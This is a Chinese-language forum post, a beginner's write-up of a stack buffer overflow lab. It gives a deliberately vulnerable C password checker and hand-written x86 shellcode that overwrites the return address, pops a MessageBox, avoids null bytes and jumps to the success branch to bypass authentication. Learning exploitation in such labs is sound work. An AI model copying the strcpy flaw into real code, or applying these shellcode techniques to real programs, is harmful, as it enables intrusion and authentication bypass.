本帖最后由 cagebird 于 2017-7-21 16:56 编辑
本人菜鸟,最近开始学习漏洞分析,看了几个视频,其中给了一个溢出漏洞的小程序,编写溢出漏洞弹出messagebox对话框,但是运行完对话框程序就崩溃了,本人就想着多写点东西,令程序运行正常。此为原因,想着写篇文章,既帮我理清思路,也方便以后可回顾看看,同时也能给网站比我还菜的鸟一点启发。
[Asm] 纯文本查看 复制代码 #include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[44];
authenticated = strcmp(password,PASSWORD);
strcpy(buffer,password); //溢出就在这里
return authenticated;
}
void main()
{
int valid_flag =0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll");
if (!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if (valid_flag !=0)
{
printf("incorrect password!\n\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
getchar();
}
溢出漏洞在这里:
char buffer[44];
authenticated = strcmp(password,PASSWORD);
strcpy(buffer,password); //溢出就在这里
return authenticated;
通过给函数中变量赋值,使buffer【44】写入44内存,再4个覆盖authenticated变量(检测真假验证码是否一样),再4个覆盖PUSH EBP中的ebp,再4个覆盖返回地址,让返回地址改为buffer【44】的代码开始地址。
buffer【44】就是我们需要弹出对话框的代码,messagebox的四个参数push及调用,视频中只给到这一步,弹出对话框后程序崩溃,弹出对话框的代码也就是在password记事本中存入的东西。
messageboxa计算地址如下:763E0000+0005EA11
[Asm] 纯文本查看 复制代码 0040DFA3 33DB xor ebx,ebx ;使ebx为0
0040DFA5 53 push ebx ;字符串的/0结束标志
0040DFA6 68 70707070 push 70707070 ;弹出的字符串
0040DFAB 68 71717171 push 71717171
0040DFB0 8BC4 mov eax,esp ;堆栈中的字符串地址
0040DFB2 53 push ebx ;对话框的样式,可为空null
0040DFB3 50 push eax ;对话框标题,push的字符串
0040DFB4 50 push eax ;对话框文本,push的字符串
0040DFB5 53 push ebx ;句柄,可为空null
0040DFB6 B8 11EA4376 mov eax,7643EA11 ;将messagebox地址给eax;
0040DFBB FFD0 call eax ;call调用函数MessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType)
返回地址为堆栈返回地址上面的buffer【44】的代码开始地址。
password填写我们的代码十六进制。
可以看到0012FAB4 即为我们的入口地址,将此地址覆盖返回地址。弹出对话框如下:
原因为我们弹出对话框后没有指向main函数中提示密码输入正确的地址,00401133。我们可以在后面的代码加上跳转指令,jmp 00401133,但是代码不能有00这种/0字符,不然strcpy(buffer,password)函数将截取00前字符,后面的字符不会复制过去,以及覆盖返回地址的地方也不会覆盖。00怎么办呢?可以mov eax,(跳转地址), jmp eax,怎么使eax为00401133且不出现00呢。
我想了一种方法:
[Asm] 纯文本查看 复制代码 004011B8 8BC3 mov eax,ebx
004011BA B4 40 mov ah,40
004011BC B3 10 mov bl,10
004011BE F7E3 mul ebx
004011C0 F7E3 mul ebx
004011C2 66:B8 3311 mov ax,1133
004011C6 FFE0 jmp eax
将EAX,EBX赋值0,将eax=4000,乘以16即为左移4位,执行两次就行,eax低位ax=1133即可,再跳转,左移指令因为有00连在一起会复制字符串失败。但是加上代码,仍没有跳转到正确地址,原因为我们的代码在esp附近,执行中被覆盖了,我们就将esp-60,以防shellcode被改。但是int verify_password(char *password)函数结尾处有一个函数会改变shellcode
使2C位置开始的4个字节更改,此前代码必须结束,但空间有限,检查前面代码有没有可简化的。
[Asm] 纯文本查看 复制代码 004011BC B3 10 mov bl,10
004011BE F7E3 mul ebx
004011C0 F7E3 mul ebx 可改为
[Asm] 纯文本查看 复制代码 0012FAD5 B7 01 mov bh,01
0012FAD7 F7E3 mul ebx
可以看到此时跳转到了注册成功,但程序出错,原因是堆栈未平衡,EBP值被更改(正巧EDI的值与以前ebp相等),堆栈加上值保持和调用函数前一样就行,我们减掉了60H,又3个push,就需要add esp,6C。但是shellcode可写空间不够了,那么就把对话框提示字符串去掉一个PUSH。
[Asm] 纯文本查看 复制代码 0012FAE6 8BEF mov ebp,edi ; mov ebp,edi
0012FAE8 83C4 6C add esp,6C
最后检验一下成功了,不仅弹出对话框,而且转到正确密码提示,后面程序运行也正常了。截个图::
第一次发文章,图片不知道咋回事在下面出现了,真麻烦,不过最后感觉还好,最后附上.C文件和password文本,不足之处请大家批评指正。 |